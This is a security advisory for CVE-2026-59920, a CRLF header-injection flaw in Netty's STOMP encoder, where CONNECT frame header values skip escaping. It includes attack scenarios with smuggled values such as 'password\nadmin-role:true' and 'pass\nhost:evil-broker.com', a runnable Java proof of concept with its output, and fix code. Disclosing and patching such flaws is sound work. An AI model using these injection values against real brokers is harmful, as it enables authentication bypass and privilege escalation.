---
id: CVE-2026-59920
aliases:
  - GHSA-3g8r-4pfx-jmfh
title: 'Netty: STOMP CONNECT Frame Header Injection in Netty'
summary: 'Netty: STOMP CONNECT Frame Header Injection in Netty'
severity: medium
cvss: 6.5
cwe:
  - CWE-93
vendor: netty
product: 'io.netty:netty-codec-stomp'
ecosystem: maven
affected:
  - 'io.netty:netty-codec-stomp >= 4.2.0.Final, < 4.2.16.Final'
  - 'io.netty:netty-codec-stomp < 4.1.136.Final'
patched:
  - 'io.netty:netty-codec-stomp 4.2.16.Final'
  - 'io.netty:netty-codec-stomp 4.1.136.Final'
published: '2026-07-22'
updated: '2026-07-22'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-3g8r-4pfx-jmfh'
references:
  - url: 'https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh'
  - url: 'https://github.com/netty/netty/releases/tag/netty-4.1.136.Final'
  - url: 'https://github.com/netty/netty/releases/tag/netty-4.2.16.Final'
  - url: 'https://github.com/advisories/GHSA-3g8r-4pfx-jmfh'
tags:
  - ghsa
  - maven
ingestedAt: '2026-07-22T22:06:57.590Z'
epss: 0.00415
epssPercentile: 0.33201
---

## Overview

# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty

## 1. Vulnerability Summary

| Field | Value |
|-------|-------|
| **Product** | Netty |
| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |
| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |
| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |
| **Impact** | STOMP Header Injection / Authentication Bypass |
| **CVSS 3.1 Score** | **6.5 (Medium)** |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Scope** | Unchanged |
| **Confidentiality Impact** | None |
| **Integrity Impact** | High |
| **Availability Impact** | None |

## 2. Affected Components

- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)
- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)

## 3. Vulnerability Description

The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.

### Root Cause

In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:

```java
private static boolean shouldEscape(StompCommand command) {
    return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}
```

When `shouldEscape()` returns `false`, header values are written without any escaping (line 195):

```java
CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue);  // Raw \n written to output
buf.writeByte(StompConstants.LF);
```

For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`.

### STOMP Specification Context and Security Analysis

The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.

**However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:

- **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT)
- **Validation** = rejecting header values that contain `\n` (spec does not prohibit this)

Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`.

This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.

**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.

**Summary**: The vulnerability exists because:

1. Header values in CONNECT frames are **neither escaped nor validated** for newlines
2. A raw newline in a header value creates a **new header line** on the wire
3. The STOMP broker parses each line as a separate header
4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance

## 4. Exploitability Prerequisites

This vulnerability is exploitable when **all** of the following conditions are met:

1. The application uses Netty's `codec-stomp` module to encode STOMP frames
2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame
3. The application does **not** perform its own newline sanitization
4. The downstream STOMP broker processes the injected headers (broker-dependent)

**Typical affected use cases**:
- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames

## 5. Attack Scenarios

### Scenario 1: Authentication Bypass via Header Injection

An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:

```java
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");
```

**Wire format sent to broker:**
```
CONNECT
host:localhost
login:guest
passcode:password
admin-role:true        <-- INJECTED HEADER
                       <-- Empty line (end of headers)
\0
```

The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.

### Scenario 2: Subscription Hijacking

```java
frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");
```

This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).

### Scenario 3: Header Overwrite

```java
frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");
```

**Wire format:**
```
CONNECT
login:user
login:admin            <-- INJECTED, may override first
...
```

Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.

## 6. Proof of Concept

### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)

```java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;

import java.nio.charset.StandardCharsets;

/**
 * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
 *
 * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
 * CONNECTED commands, allowing \n injection in header values to create
 * additional STOMP headers.
 */
public class StompConnectHeaderInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");

        testConnectHeaderInjection();
        testConnectVsOtherCommand();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: CONNECT command header injection via \n in value
     */
    static void testConnectHeaderInjection() {
        System.out.println("[TEST 1] CONNECT Header Value Injection");
        System.out.println("-----------------------------------------");

        // Craft a CONNECT frame with \n in passcode value
        DefaultStompHeaders headers = new DefaultStompHeaders();
        headers.set(StompHeaders.HOST, "localhost");
        headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
        headers.set(StompHeaders.LOGIN, "user");
        headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");

        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
        frame.headers().setAll(headers);

        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
        channel.writeOutbound(frame);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input passcode: \"password\\nadmin-role:true\"");
        System.out.println();
        System.out.println("Encoded STOMP frame:");
        System.out.println("---");
        // Show with visible control chars
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r").replace("\0", "\\0"));
        }
        System.out.println("---");

        // Check if the injected header appears as a separate line
        boolean hasInjectedHeader = false;
        String[] lines = encoded.split("\n");
        for (String line : lines) {
            if (line.startsWith("admin-role:")) {
                hasInjectedHeader = true;
                break;
            }
        }

        System.out.println();
        System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
        System.out.println("VULNERABLE: " + (hasInjectedHeader ?
            "YES - Header injection in CONNECT frame!" : "NO"));

        // Count actual STOMP headers (lines between command and empty line)
        int headerCount = 0;
        boolean inHeaders = false;
        for (String line : lines) {
            if (line.equals("CONNECT")) {
                inHeaders = true;
                continue;
            }
            if (inHeaders && line.trim().isEmpty()) break;
            if (inHeaders && line.contains(":")) headerCount++;
        }
        System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
        System.out.println("Actual headers:   " + headerCount);
        System.out.println();
    }

    /**
     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)
     */
    static void testConnectVsOtherCommand() {
        System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
        System.out.println("--------------------------------------------");

        String maliciousValue = "value\ninjected:evil";

        // Test CONNECT (no escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.HOST, "localhost");
            headers.set("custom", maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));

            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
            System.out.println("  Raw \\n in output: " + hasRawNewline);
            System.out.println("  VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
        }

        System.out.println();

        // Test SEND (with escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.DESTINATION, "/queue/test");
            headers.set("custom", maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));

            boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
            System.out.println("  Escaped \\n: " + hasEscapedNewline);
            System.out.println("  Raw \\n:     " + hasRawNewline);
            System.out.println("  SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
        }
        System.out.println();
    }
}
```

### How to Compile and Run

```bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
java -cp "$JARS:." StompConnectHeaderInjectionPoC
```

### PoC Execution Output (Verified on Netty 4.2.12.Final)

```
=== Netty STOMP CONNECT Header Injection PoC ===

[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: "password\nadmin-role:true"

Encoded STOMP frame:
---
  CONNECT
  host:localhost
  accept-version:1.2
  login:user
  passcode:password
  admin-role:true          <-- INJECTED HEADER

  \0
---

Injected 'admin-role' appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers:   5

[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom="value\ninjected:evil":
  Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
  Raw \n in output: true
  VULNERABLE: YES

SEND frame with custom="value\ninjected:evil":
  Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
  Escaped \n: true
  Raw \n:     false
  SAFE: YES


=== PoC Complete ===
```

### Key Observation

The PoC demonstrates a clear inconsistency:
- **CONNECT** command: `\n` is written **raw** → header injection succeeds
- **SEND** command: `\n` is escaped to `\\n` → header injection prevented

## 7. Impact Analysis

| Impact Category | Description |
|----------------|-------------|
| **Authentication** | Injected headers may bypass broker authentication logic |
| **Authorization** | Role escalation via injected role/permission headers |
| **Integrity** | Modification of connection parameters (host, version, etc.) |
| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |

### Affected Brokers

This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:

- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
- **ActiveMQ**: May process custom headers for internal routing
- **Custom Brokers**: Most likely to be affected if they trust all received headers

## 8. Remediation Recommendations

### Option 1: Validate CONNECT Header Values (Recommended)

Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:

```java
private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
    StompCommand command = frame.command();
    ByteBufUtil.writeUtf8(buf, command.toString());
    buf.writeByte(StompConstants.LF);

    boolean shouldEscape = shouldEscape(command);
    for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
        CharSequence headerKey = entry.getKey();
        CharSequence headerValue = entry.getValue();

        if (shouldEscape) {
            headerKey = escape(headerKey);
            headerValue = escape(headerValue);
        } else {
            // For CONNECT/CONNECTED: don't escape but REJECT newlines
            validateNoNewlines(headerKey, "header name");
            validateNoNewlines(headerValue, "header value");
        }

        ByteBufUtil.writeUtf8(buf, headerKey);
        buf.writeByte(StompConstants.COLON);
        ByteBufUtil.writeUtf8(buf, headerValue);
        buf.writeByte(StompConstants.LF);
    }
    buf.writeByte(StompConstants.LF);
}

private static void validateNoNewlines(CharSequence value, String type) {
    for (int i = 0; i < value.length(); i++) {
        char c = value.charAt(i);
        if (c == '\n' || c == '\r') {
            throw new IllegalArgumentException(
                "STOMP CONNECT " + type + " contains illegal newline at index " + i);
        }
    }
}
```

### Option 2: Apply Escaping to All Commands

Simply remove the CONNECT/CONNECTED exception:

```java
private static boolean shouldEscape(StompCommand command) {
    return true; // Always escape
}
```

Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.

## 9. References

- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)
- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)
- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)
- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)

## Affected packages

- `io.netty:netty-codec-stomp >= 4.2.0.Final, < 4.2.16.Final`
- `io.netty:netty-codec-stomp < 4.1.136.Final`

## Remediation

Upgrade to a patched release:

- `io.netty:netty-codec-stomp 4.2.16.Final`
- `io.netty:netty-codec-stomp 4.1.136.Final`
